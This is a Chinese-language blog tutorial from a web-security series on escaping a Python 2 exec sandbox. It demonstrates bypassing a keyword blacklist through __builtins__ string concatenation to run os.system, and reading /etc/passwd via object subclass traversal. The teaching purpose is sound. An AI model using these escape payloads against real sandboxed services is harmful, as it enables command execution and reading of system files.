iT邦幫忙

第 11 屆 iT 邦幫忙鐵人賽

DAY 2
1

雖然標題是寫 Template Injection,但我們暫時先從另外一個角度切入八 owo)/

小 sandbox(?

這邊有一段簡單的 Python 2 程式碼

while True:
    try:
        inp = raw_input("> ")
        exec inp
    except Exception, e:
        print 'Exception:', e

你該輸入些什麼才能成功 pwn 下這個東西呢?
我想,寫過 python 的人都會知道可以 import os; os.system('id'); 就可以輕鬆執行指令了吧(?
順帶一提,其實我們常用的 import xxx__import__('xxx') 這個函式的語法糖,所以上面的 code 可以改寫成 __import__('os').system('id')

好ㄛ,到這邊有基礎 Python 經驗的人應該都覺得是常識吧

那,如果來玩個黑名單招數呢

def check_secure(inp):
    Q____Q = [
            'exec', 'open', 'file', 'execfile', 'import', 'eval', 'input',
            # and anything you want
    ]
    for s in Q____Q:
        if s in inp:
            raise Exception("Sorry, '"+ s +"' is not allowed.")

while True:
    try:
        inp = raw_input("> ")
        check_secure(inp)
        ret = None
        exec "ret=" + inp
        if ret != None:
            print ret

    except Exception, e:
        print 'Exception:', e

執行起來大概會像這樣:

$ python ./blacklist.py
> print(1)
1
> exec('print(1)')
Exception: Sorry, 'exec' is not allowed.
> import os
Exception: Sorry, 'import' is not allowed.

恩⋯⋯乍看還行吧。不過,對啦,我想大部分都知道字串比對看起來就很好繞,但怎麼繞呢?

內建函數?

欸等等,大家用 python 的時候都知道要用一些 module 的時候就 import 一下就好,那有沒有想過那些 powread 之類的函數到底是哪來的啊?為毛都不用 import 就能用惹好奇怪ㄛ

事實上,python 內建已經有一個叫 __builtins__ 的 module 了,那些所謂的內建函數都塞在這個 module 裡面了,我們可以用 dir(__builtins__) 簡單瞄一下它

>>> __builtins__
<module 'builtins' (built-in)>
>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', ... , 'tuple', 'type', 'vars', 'zip']

應該就會看到一堆大家熟悉的內建函數惹

所以針對前面的那個黑名單字串比對法,可以簡單地用 __builtins__.__dict__['__imp'+'ort__']("os").system('id') 就可以繞過比對了。

那,如果試著把 __builtins__ 裡面的東西通通刪掉,只留下我們需要的函數呢?

Q____Q = __builtins__.__dict__.keys()
Q____Q.remove('raw_input')
Q____Q.remove('print')
for x in Q____Q:
    del __builtins__.__dict__[x]

看起來超安全了吧?什麼函數都不能用ㄟ

當然我會在這邊提到,就是,還是可以繞過啦 XD

我們都是 object

對 python 有點概念的,也都會知道所有東西都是一種 object,不管是字串、dictionary、tuple、function 還是三小東西都是一種 object。

除了看教科書的說明以外,要怎麼證明呢?
有一種叫做 __mro__ (Method Resolution Order)鏈的東西,可以輕鬆地觀察一下:

>>> [].__class__.__mro__
(<class 'list'>, <class 'object'>)
>>> ().__class__.__mro__
(<class 'tuple'>, <class 'object'>)
>>> "".__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> "".__class__.__base__
<class 'object'>

所謂的 Method Resolution Order,顧名思義就是用來記錄該物件的 method 要怎麼解析,舉例來說如果某個物件 X 同時繼承了 A 跟 B,而 A 跟 B 同時都有 meow() 的 method,該物件 X 要用誰的 method 呢?

而 mro 就在這個場景就達到了作用,他會很簡單地告訴你每個 method 的優先層級,而他決定優先層級的方式,又有一些演算法來決定了,但在目前我們也不用考慮那麼多,我們只要知道:mro 能讓我們存取到所有東西的根源:<class 'object'> 就好了!

誒等等,object 是所有東西的根源,那可以透過某種方法就能存取到所有東西了嗎⋯⋯?
Well, yes but no.

它能存取到一些「不得不存在的東西」。也就是整個 python 要跑起來,一定要存在的東西。

方法的話很淺顯易懂:[].__class__.__base__.__subclasses__() 就能做到了
看起來會像這樣:

>>> [].__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

一堆東西都是 object 的 subclass!這些東西裡,什麼才是對我們有用的呢?

或許眼尖的人會發現裡面就有 file 這東西了,我們就能讀檔了!

[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

大家可以在自己的 python 2 試試看(python 3 環境不太一樣,沒有內建 file 這種東西)

但這樣還不夠,我們會想做更多事,例如一開始提到的類似於執行 __import__('os').system('id') 這類的東西。

但今天就先到這邊吧,下集待續 XD


上一篇
[Day 1] 話說這個人會講些啥
下一篇
[Day 3] Template Injection:進入打站主題
系列文
[Web Security] 欸幹如果我能把別人的網站打下來然後放上骷髏血手印黑頁一定超帥的3

1 則留言

0
Capillary J
iT邦新手 5 級 ‧ 2019-09-19 10:58:53

nice explained!

nice explained!

我要留言

立即登入留言